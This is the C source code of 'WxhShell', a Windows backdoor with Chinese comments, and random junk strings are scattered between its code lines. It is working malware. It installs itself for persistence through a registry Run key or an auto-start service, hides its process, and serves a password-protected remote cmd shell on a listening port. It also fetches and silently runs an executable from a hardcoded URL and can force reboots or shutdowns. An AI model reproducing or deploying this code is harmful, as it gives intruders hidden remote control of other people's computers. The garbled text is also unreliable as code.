%m,Mx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `4__X; if(NULL == hInst ) return 0; P66{l^ !ccKbw)J# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Re-~C[zwT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SkBa- *MC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Ba>a(E ]#P9.c_} if (!NtQueryInformationProcess) return 0; o0^..f ,$EM3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >[B}eS> if(!hProcess) return 0; Wk"4mq /"+YE&>\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e p~3e5 V$%%nG uE CloseHandle(hProcess); Pj>r(Cv _fha9` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "_]n_[t2C if(hProcess==NULL) return 0; Gf\Dc LvgNdVJDP| HMODULE hMod; [>QV^2'Z char procName[255]; W&ya_iP~C unsigned long cbNeeded; ce th )Xm BM!\U 6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G[n^SEY! 0"7xCx CloseHandle(hProcess); e^Q$Tog< y`wTw/5N if(strstr(procName,"services")) return 1; // 以服务启动 >;kCcfS3ct =)vmX0vL return 0; // 注册表启动
(M5w:qbR } ,IoPK!5xy T{3C3EE?] // 主模块 5A /8G}'XZ int StartWxhshell(LPSTR lpCmdLine) EKoAIC*?p { U.is:&]E SOCKET wsl; y}*rRm.: BOOL val=TRUE; 2.CjjI int port=0; Ex9%i9H struct sockaddr_in door; &M(=#pq9 l:mC'aR if(wscfg.ws_autoins) Install(); PhW<)B] 3IQ)%EN port=atoi(lpCmdLine); <-62m8N| &S}%)g%Iv9 if(port<=0) port=wscfg.ws_port; n0g,r/ H_KE^1 WSADATA data; R}njFQvS) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QLrFAV __r]@hY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |&B.YLx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \9;u.&$mNB door.sin_family = AF_INET; jjbBv~vs door.sin_addr.s_addr = inet_addr("127.0.0.1"); &QO~p3M door.sin_port = htons(port); BoZ])Y6= RFd.L@-] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,g2|8>sJP closesocket(wsl); Z3?,r[ return 1; V{@
xhW0 } //cj$}Rn! HKr")K% if(listen(wsl,2) == INVALID_SOCKET) { im{'PgiR closesocket(wsl); ON#\W>MK? return 1; z1[2.&9D- } zJJ
KLr; Wxhshell(wsl); P5/K?I~/So WSACleanup(); 7sKN` $s<,xY 9 return 0; #A<|hh Sp$~)f' } 834(kw+#9 yL/EIN // 以NT服务方式启动 IB:eyq-+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XzI c<81Z { l<5O\?Vo] DWORD status = 0; %Z~,F? DWORD specificError = 0xfffffff; cnr&%- YfL|FsCh serviceStatus.dwServiceType = SERVICE_WIN32; OE)n4X serviceStatus.dwCurrentState = SERVICE_START_PENDING; `3+yu'
Q' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G0Zq:kJ serviceStatus.dwWin32ExitCode = 0; #k2&2W=x serviceStatus.dwServiceSpecificExitCode = 0; j~,7JJ
(y serviceStatus.dwCheckPoint = 0; CqX2R:# serviceStatus.dwWaitHint = 0; Li~(kw3 lxoc.KDtR hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cAq>|^f0a if (hServiceStatusHandle==0) return; hNBv|&D# <![tn#_ status = GetLastError(); 'U
',9 if (status!=NO_ERROR) U ^1Xc#Ff { Uf)?sz serviceStatus.dwCurrentState = SERVICE_STOPPED; TP' serviceStatus.dwCheckPoint = 0; 9n{tbabJ serviceStatus.dwWaitHint = 0; hZ2!UW4' serviceStatus.dwWin32ExitCode = status; F{}mlQg serviceStatus.dwServiceSpecificExitCode = specificError; {[WEA^C~Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); hZ|*=/3k return; eq.K77El{J } *0]E4]ZO x&9}] E^< serviceStatus.dwCurrentState = SERVICE_RUNNING; Qr]xj7\@i serviceStatus.dwCheckPoint = 0; Q4e*Z9YJ serviceStatus.dwWaitHint = 0; H&jK|]UXoO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L6`(YX.: } Eyi^N0 `s#0/t // 处理NT服务事件,比如:启动、停止 jn vJ`7zFP VOID WINAPI NTServiceHandler(DWORD fdwControl) :e> y=
s> { )\!_`ob switch(fdwControl) '9^+J7iO(+ { A6ipA/_ case SERVICE_CONTROL_STOP: P5s'cPX serviceStatus.dwWin32ExitCode = 0; J'^H@L/E serviceStatus.dwCurrentState = SERVICE_STOPPED; "?EoYF_ serviceStatus.dwCheckPoint = 0; i? 5jl&30 serviceStatus.dwWaitHint = 0; xCwd*lsM { +c4]}9f! SetServiceStatus(hServiceStatusHandle, &serviceStatus); N*z_rZE } 0<*R 0 return; O{Bll;C case SERVICE_CONTROL_PAUSE: yf`Nh serviceStatus.dwCurrentState = SERVICE_PAUSED; 0[
MQp"z break; ({ 'I;]AQ case SERVICE_CONTROL_CONTINUE: j`jF{k b serviceStatus.dwCurrentState = SERVICE_RUNNING; !4-B
xeNY\ break; 3wZA,Z
case SERVICE_CONTROL_INTERROGATE: HqNM3 1) break; N,U<.{T=A }; bM7y}P5`1 SetServiceStatus(hServiceStatusHandle, &serviceStatus);
'o=`1I } ;u`zZb=,[ S^nshQI // 标准应用程序主函数 8CKN^8E int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,grdl|Dg { `^HAWo;J 55xaZ#| // 获取操作系统版本 4i0~t~vDpr OsIsNt=GetOsVer(); *olV Y/'O GetModuleFileName(NULL,ExeFile,MAX_PATH); gyi<ot; 1{@f:~ v? // 从命令行安装 Uywi,9f if(strpbrk(lpCmdLine,"iI")) Install(); !K a!f1 iXt1{VP'K // 下载执行文件 J.'}R2gT1 if(wscfg.ws_downexe) { dw{L,u`68 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t\44 Pu% WinExec(wscfg.ws_filenam,SW_HIDE); &K2J$(.t } .OFwGOL% ,{wA%Oy, if(!OsIsNt) { uk%C:4T // 如果时win9x,隐藏进程并且设置为注册表启动 *Y!'3|T HideProc(); [ ySO StartWxhshell(lpCmdLine); N&g9z{m7 } VZ"W_U, else } :U'aa if(StartFromService()) eytd@-7uX // 以服务方式启动 b37F;"G StartServiceCtrlDispatcher(DispatchTable); H9'Y` -r else qOaI4JP@ // 普通方式启动 _ dFZR StartWxhshell(lpCmdLine);
gC^4K9g M$&aNt; return 0; =xwA'D9] } ^M?O / J 3 s}Y_og_c 7hAFK =========================================== #wz1uw[pI! YC!Tgb~H qK}4r5U yVA<-PlS< lm'L-ZPN L"|4
v " xEv]VL: ?kBi9^)N4 #include <stdio.h> AQX~do\A #include <string.h> |eS5~0<` #include <windows.h> p H&Tb4 #include <winsock2.h> &t.9^;( #include <winsvc.h> AIZs^
`_ #include <urlmon.h> Q}ebw ul0]\(sS: #pragma comment (lib, "Ws2_32.lib") MbY?4i00%h #pragma comment (lib, "urlmon.lib") AgKG>%0 kmHIU}Z #define MAX_USER 100 // 最大客户端连接数 >E*j4gg
#define BUF_SOCK 200 // sock buffer JkT, i_ #define KEY_BUFF 255 // 输入 buffer VQSwRL3B= [I/f(GK #define REBOOT 0 // 重启 4`Com~`6" #define SHUTDOWN 1 // 关机 >KF1]/y< *n9t~t6GHg #define DEF_PORT 5000 // 监听端口 so[i"ZM) 8r"$o1! #define REG_LEN 16 // 注册表键长度 6J/"1_ #define SVC_LEN 80 // NT服务名长度 jP*5(*[&y DRS68^ // 从dll定义API {&tbp
Bl# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +
3+^J?N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fq*.4s
# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?-"xP'# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zY?GO"U" W)WL1@!Z // wxhshell配置信息 6=ukR=]v struct WSCFG { y$6m|5 int ws_port; // 监听端口 -]8cw#y
0A char ws_passstr[REG_LEN]; // 口令 3;fuz Kk@b int ws_autoins; // 安装标记, 1=yes 0=no _-^bAr`z char ws_regname[REG_LEN]; // 注册表键名 S3cjw9V char ws_svcname[REG_LEN]; // 服务名 *}BaO*A char ws_svcdisp[SVC_LEN]; // 服务显示名 MUo}Qi0K char ws_svcdesc[SVC_LEN]; // 服务描述信息 z}I4m char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e[txJ*SuO int ws_downexe; // 下载执行标记, 1=yes 0=no SplEY!.k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gFk~SJd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `-)!4oJ] l=(4o4um }; c%2C\UB ~ Iin| // default Wxhshell configuration J;Y=oB struct WSCFG wscfg={DEF_PORT, K-D{Z7J^l "xuhuanlingzhe", Jjt'R`t%t 1, &,?bX]) "Wxhshell", f{ZOH<"Lo "Wxhshell", 4;G:.k!K "WxhShell Service", :?1r.n "Wrsky Windows CmdShell Service", 4F_*,_Y "Please Input Your Password: ", /I[?TsXp 1, g\sW2qXEw "http://www.wrsky.com/wxhshell.exe", |&JCf= "Wxhshell.exe" 88 fH!6b }; Az+}[t INca // 消息定义模块 ;6o p|O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S}=d74(/n char *msg_ws_prompt="\n\r? for help\n\r#>"; T&.ZeB1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
D{hsa char *msg_ws_ext="\n\rExit."; $umh&z/ char *msg_ws_end="\n\rQuit."; !<!5;f8 char *msg_ws_boot="\n\rReboot..."; PoyY}Ra char *msg_ws_poff="\n\rShutdown..."; "PA: char *msg_ws_down="\n\rSave to "; b21c} rI3 aA Hx^X^ char *msg_ws_err="\n\rErr!"; W,</ char *msg_ws_ok="\n\rOK!"; U\N|hw#f!! ;XFo:? char ExeFile[MAX_PATH]; 4k9O6 int nUser = 0; f.?p"~! HANDLE handles[MAX_USER]; N?!]^jI, int OsIsNt; q,k/@@Qd9 qTM,'7Rwn SERVICE_STATUS serviceStatus; KPGo*mY SERVICE_STATUS_HANDLE hServiceStatusHandle; SrMg=a BMlnzi // 函数声明 Lf+M
+^l int Install(void); md`PRZzj@ int Uninstall(void); 0(A(Vb5J.T int DownloadFile(char *sURL, SOCKET wsh); Jv int Boot(int flag); 0!v+ + void HideProc(void); I[|5 DQ int GetOsVer(void); rCGyr}(NC int Wxhshell(SOCKET wsl); (_^pX void TalkWithClient(void *cs); YGy.39@31 int CmdShell(SOCKET sock); 7P}&<;5zD int StartFromService(void); *b+ef int StartWxhshell(LPSTR lpCmdLine); Kk?P89=* ia.9 5H; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 63b?-.!b VOID WINAPI NTServiceHandler( DWORD fdwControl ); r)$(>/[$ U
00}jH // 数据结构和表定义 QdaYP SERVICE_TABLE_ENTRY DispatchTable[] = n W2[x; { u<`CkYT {wscfg.ws_svcname, NTServiceMain}, (rfU=E {NULL, NULL} _jmkA meu }; ?m3,e&pB5 xA|72!zk0P // 自我安装 Fl,(KSTz int Install(void) c}9.Or`? { V+7x_>!&) char svExeFile[MAX_PATH]; GC(:}e | HKEY key; eil"1$k strcpy(svExeFile,ExeFile); 83,ATQg &Q7vY // 如果是win9x系统,修改注册表设为自启动 ?nOul}y/ if(!OsIsNt) { --SlxV/x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bYT,f.,5{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }K\]M@ RegCloseKey(key); UR')) 1n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]^`Qy) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T/NeoU3 p RegCloseKey(key); 0)/L+P5 return 0; <d xc"A } Ps3wg=ni[ } <ptZY.8N } 7TCY$RcF,I else { T_}9b t!MGSB~ // 如果是NT以上系统,安装为系统服务 %u"3&kOV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3D3/\E#'o if (schSCManager!=0) I
f9t^T# { __Kn 1H{ SC_HANDLE schService = CreateService | /,XdTSy ( ~(4;P%L: schSCManager, h^E"eC wscfg.ws_svcname, :f?};t+ wscfg.ws_svcdisp, m
Cvgs SERVICE_ALL_ACCESS, @ToY,@]e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a6AD`| U8 SERVICE_AUTO_START, rt+%&%wt SERVICE_ERROR_NORMAL, \v(}@zcB| svExeFile, XW]'by NULL, ?1\rf$l8 NULL, w0n.Y-v4i NULL, b,]QfC NULL, 2y/|/IW= NULL eh=.Q<N ); HyKvDJ
3_ if (schService!=0) "F
nH>g- { qV^Z@N+, CloseServiceHandle(schService); E/MD]ox CloseServiceHandle(schSCManager); w'NL\> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Opc, {,z6 strcat(svExeFile,wscfg.ws_svcname); .t\#>Fe if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Gmwm|`* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |E/r64T RegCloseKey(key); `w@8i[2J return 0; &)4#0L4 } E! '|FJ } X 4\ CloseServiceHandle(schSCManager); 1"pvrX} } 3o=R_%r } *3;H6 9os>k* return 1; !]1'?8 } 9$)I=Rpk= :\I88
-N@' // 自我卸载 |G^w2"D_Z int Uninstall(void) Ae,P&( { |KF_h^ HKEY key; )erI3?k QMUmPx& if(!OsIsNt) { 6\jhDP@`9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { neN #Mo'A RegDeleteValue(key,wscfg.ws_regname); V\U,PNkZQ RegCloseKey(key); 7noxUGmFw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wxy.&a] RegDeleteValue(key,wscfg.ws_regname); pY75S5h: RegCloseKey(key); Gt>*y.] return 0; n#F:(MSOp } E0 ~\ A; } luNEgCq } kzq3-NTV else { mUFg(;ya J9+<9g4-t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7f!"vhCXM; if (schSCManager!=0) i8CO+Iv*{ { -\ {.]KL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s];jroW@u if (schService!=0) 565UxG
} { 0)=U:y. if(DeleteService(schService)!=0) { K"lZwU\:On CloseServiceHandle(schService); "UUzLa_ CloseServiceHandle(schSCManager); 7OF6;@< return 0; v?\Z4Z|f } NJ6*
7Cd CloseServiceHandle(schService); 6x?3%0Km } *^|.bBG CloseServiceHandle(schSCManager); AmSrc. } ^*!Tq&Dst| } {<f |h)r 2`2S94' return 1; ;3~+M:{2 } re\pE2&B ZdcG6IG+ // 从指定url下载文件 "n,?) int DownloadFile(char *sURL, SOCKET wsh) y2nwDw(xF { Pe-1o#7~W HRESULT hr; >M~wFs$~ char seps[]= "/"; :=CRsQAn char *token; J.%%]-f=& char *file; zTP|H5HyK char myURL[MAX_PATH]; h^Bp^V5# char myFILE[MAX_PATH]; YzasT:EZN zh{:zT)(1 strcpy(myURL,sURL); NT3Ti
?J, token=strtok(myURL,seps); ?g7O([*[ while(token!=NULL) E@uxEF { iLd_{ file=token; 2<"kfan token=strtok(NULL,seps); J0%e6{C1 } #* KmPc+ Ze?(N~ GetCurrentDirectory(MAX_PATH,myFILE); 9^D5Sl$g strcat(myFILE, "\\"); Wzm!:U2R* strcat(myFILE, file); ?+^vU5b1u send(wsh,myFILE,strlen(myFILE),0); Ml bQLtw send(wsh,"...",3,0); @fjVCc; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'aLTiF+ if(hr==S_OK) [PRQa[_ return 0; qKL:#ny else bUcq
LV return 1; (fSpY\JPI -UTTJnu^ } h_xHQf xna4W|- // 系统电源模块 6qAs$[ int Boot(int flag) SuorCp] { Vdpvo;4uy HANDLE hToken; `Z)]mH\X TOKEN_PRIVILEGES tkp; /*$B ;";#{B: if(OsIsNt) { ^nPk;%`0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RxeyMNd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -c_}^j tkp.PrivilegeCount = 1; xzI?'?duC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; klUW_d- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _T8o] if(flag==REBOOT) { dE ,NG)MH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U&PwEh4uG return 0; ggQB Q/ L } $N@EH;{_0 else { ~a5-xWEZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F4o)6+YM return 0; O|ODJOQNol } E;*JD x } 4/_@ F>I_ else { M2{AaYgD if(flag==REBOOT) { ]&oQ6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) il403Ae0 return 0; IN{ 1itE } -JMlk:~ else { j$%uip{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #z.QBG@ return 0;
krt8yAkG } =W*Js %4 } }\-"L/D?+ w%Bo7 'o)V return 1; 8dBG ZwyET } +f+#W <"}Gvi // win9x进程隐藏模块 Iz^lED void HideProc(void) &a/F"?9jL { 9hNHcl. D
on8xk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >sfH[b if ( hKernel != NULL ) zfexaf! {
AhNy+p{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C=y[WsT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X~#jx(0_ FreeLibrary(hKernel); "i5Rh^ } -_4ZT^.Lna 3lW7auH4Y{ return; P.j0 Xlof } `3QAXDWE (*X SrQ // 获取操作系统版本 X6Y<pw`y int GetOsVer(void) n#.~XNbxv { 8*-N@j8 OSVERSIONINFO winfo;
Qr n^T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hU]Gv)B GetVersionEx(&winfo); Z2.S:y. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qad`muAd return 1; ruf*-&Kr7 else 3%J7_e' return 0; DXH"`1[- } #&oL iz=hZ -weCdTY`X // 客户端句柄模块 pT=YV
k int Wxhshell(SOCKET wsl) DjK { PrZs@ Y SOCKET wsh; 5PCMxjon struct sockaddr_in client; jcY:a0 [{D DWORD myID; YtWO=+rX \i}:Vb(^ while(nUser<MAX_USER) +hW^wqk/. { j/h>G,>T= int nSize=sizeof(client); z4UJo!{S wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'u)zQAaw. if(wsh==INVALID_SOCKET) return 1; kpQXnDm2 !K0:0: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zHT22o56X if(handles[nUser]==0) <hvVh9 closesocket(wsh); r\x"nS else `'gadCTb= nUser++; 4?vTuZ/
M } hG8!aJo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u\uY q >bo_ return 0; 55<f } eX1<zzd )q>mt/, // 关闭 socket [!Jd.zm void CloseIt(SOCKET wsh) .]IidsgM { SZ*Nr=X closesocket(wsh); P%nN#Qm nUser--; );~JyoDo ExitThread(0); gTby%6-\| } S.Z2gFE&tu w QnW2)9! // 客户端请求句柄 LKx<hl$O void TalkWithClient(void *cs) SD=kpf; { Js706 7E}.P1 SOCKET wsh=(SOCKET)cs; 6(9S'~*'R char pwd[SVC_LEN]; }r)T75_1 char cmd[KEY_BUFF]; #*"5F* char chr[1]; z;F6:aBa int i,j; 8=!BtMd" l JR while (nUser < MAX_USER) { T`?{Is['( V7pe|]%r if(wscfg.ws_passstr) { {~lVe GBp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RdtF5#\z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;rK=
jz^Q //ZeroMemory(pwd,KEY_BUFF); UF$JVb i=0; xKZLXQ'e- while(i<SVC_LEN) { gFx2\QV ;YYo^9Lh} // 设置超时 )uJu.foE fd_set FdRead; O`pqS\H struct timeval TimeOut; ,$xV&w8f\" FD_ZERO(&FdRead); )T_o!/\*|* FD_SET(wsh,&FdRead); Jh)x_&R&Q TimeOut.tv_sec=8; e=yQFzQT) TimeOut.tv_usec=0; ?f{--|V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , '_y@9?I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xc!0'P0T Z fQzA}QD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uq~Z pwd=chr[0]; Vp5i i]B4 if(chr[0]==0xd || chr[0]==0xa) { tt=JvI9> pwd=0; j-% vLL/ break; n&j@7R } O8 \dMb
i++; &YU;
K& } u3Qm"? $` 5,;>b^gXY` // 如果是非法用户,关闭 socket Z/p>>SCak if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AxbQN.E } C(Bh<c0@ WLB@]JvTBY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oQ=v:P] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$oN"pj &:3uK` while(1) { LMF@-j% )rqb<O ZeroMemory(cmd,KEY_BUFF); bu
j}pEI
,'KS:`m! // 自动支持客户端 telnet标准 pel{ ;r j=0; orGkS<P while(j<KEY_BUFF) { GO|1O|? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uzx,aYo X cmd[j]=chr[0]; 3/j^Ao\fw if(chr[0]==0xa || chr[0]==0xd) { ry2ZVIFa cmd[j]=0; |6ZH+6[ break; &Ti:IC%M } G(n
e8L8 j++; fH#*r|~ } dE`a1H% )C@O7m*.4 // 下载文件 8~~*/oCoJt if(strstr(cmd,"http://")) { 9Ez>srH( send(wsh,msg_ws_down,strlen(msg_ws_down),0); e)#O-y if(DownloadFile(cmd,wsh)) /p&V72 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%|0c\y|z= else mHiV};$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S1!X;PP/ } 9ozK}Cg4 else { qt.G_fOz NQFMExg, switch(cmd[0]) { n.323tNY " 0:&x
n8L // 帮助 T&ECGF;Y/ case '?': { x3`b5^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'pa>;{ break; W`qiPLk } 8BHtN // 安装 U)PNY case 'i': { aLWNqe&1 if(Install()) swfcA\7R send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Y
L else Hju7gP=y} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Fd!wkB'{ break; GW29Rj1 } 06Irx^n // 卸载 "L(4 EcO@ case 'r': { /F(wb_! if(Uninstall()) JFJ_
PphvD send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2YkZ nJn else sM4Qu./ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {1<XOp#b break; n0nvp@?7bJ } @jKiE%OP // 显示 wxhshell 所在路径 {DI`HB[ case 'p': { BJ
c'4> char svExeFile[MAX_PATH];
sp/l-a strcpy(svExeFile,"\n\r");
^"U-\cx strcat(svExeFile,ExeFile); _4#8o\ send(wsh,svExeFile,strlen(svExeFile),0); IQ5H`o?[B
break; cEP!DUo } cIm_~HH // 重启 (Ov{gj^ case 'b': { gG 9e.++: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %X--`91|u if(Boot(REBOOT)) 5Oa`1?C1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); NB["U"1[^E else { "5 /i closesocket(wsh); iq25|{1$ ExitThread(0); &V.\Svm8] } .[@TC@W break; DR d|m<Z } 5`!Bj0Uf // 关机 ^tw\F7 case 'd': { 3!&PI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o!\Q, if(Boot(SHUTDOWN)) \hm;p send(wsh,msg_ws_err,strlen(msg_ws_err),0); ']bpsn else { !zu YO3: closesocket(wsh); {c7ZA%T~R ExitThread(0); J$]-)`[G& } XL`*Tbx break; 4P>[]~S } AM[#AZv // 获取shell -w[j`}([P9 case 's': { +*O$]Hh CmdShell(wsh); >nqDUGnEo> closesocket(wsh); H}Jdnu| ko ExitThread(0); &gP/<!# break; *an^
0 } yFD3:;} // 退出 3U_-sMOB| case 'x': { ,n}h_ct send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >q}Ns^ .' CloseIt(wsh); d4 Hpe> break; '=M4(h } rx$B(z(c // 离开 +b9gP\Hke case 'q': { N=JZtf/i send(wsh,msg_ws_end,strlen(msg_ws_end),0); -L.U4x closesocket(wsh); pG|+\k/B WSACleanup(); *2?-6 exit(1); y1oQ4|KSI break; ^`HP&V } 2"'<Yk9 } ?!uj8&yyf } <]SI- BA5b;+o- // 提示信息 ZFJqI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o'Uaz*-po } Ib~n}SA } *VbB'u: <hJ%]] return; aX)k(*| } (i 3=XfZ!C fcim4dfP // shell模块句柄 ^|P/D int CmdShell(SOCKET sock) -$x5[6bN { prdlV)LTpY STARTUPINFO si; ]]EOCGZ" ZeroMemory(&si,sizeof(si)); +K@wh si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fMRv:kNAt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VV$$t;R/ PROCESS_INFORMATION ProcessInfo; nx2iEXsa char cmdline[]="cmd"; vFz#A/1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /OX;3" +1 return 0; vC#
*w, }
w~3~:w$ y{?wxg9 // 自身启动模式 JKXb$ int StartFromService(void) mh4<.6>5 { 8iB}gHe9 typedef struct =k{ n! e { Ai~j
q DWORD ExitStatus; &ody[k?' DWORD PebBaseAddress; +s`HTf DWORD AffinityMask; ::lD7@Wg DWORD BasePriority; +(pFU\&U3H ULONG UniqueProcessId; LE'8R~4.< ULONG InheritedFromUniqueProcessId; h&k*i } PROCESS_BASIC_INFORMATION; IwTAM9n " iz'x-wy PROCNTQSIP NtQueryInformationProcess; si!jB%^ Qw,{"J static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Avp16zg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qubyZ8hx S5,y!K]C~ HANDLE hProcess; &>YdX$8x PROCESS_BASIC_INFORMATION pbi; ;PA^.RB .!B>pp(9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (FY<%.Pa if(NULL == hInst ) return 0; M%vZcP ac2G;}B| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rg3cqe#O/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >k)zd- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fx"~WeVcO BJL*Dihm[ if (!NtQueryInformationProcess) return 0; W/\M9
Jn+k$'6%# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ){sn!5= if(!hProcess) return 0; t=6[FK ##+f/Fxym if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ag7(nn0! ;ATn& CloseHandle(hProcess); _
